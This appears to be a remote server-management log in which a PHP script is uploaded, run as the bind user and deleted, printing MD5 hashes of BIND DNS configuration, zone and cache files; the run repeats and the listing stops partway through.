MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:48:32: Establishing a connection
2026-04-24 19:48:32: 

PUT: /tmp/pkp921915

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:48:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp921915; rm /tmp/pkp921915'

2026-04-24 19:48:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:49:21: Establishing a connection
2026-04-24 19:49:22: 

PUT: /tmp/pkp482295

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:49:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp482295; rm /tmp/pkp482295'

2026-04-24 19:49:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
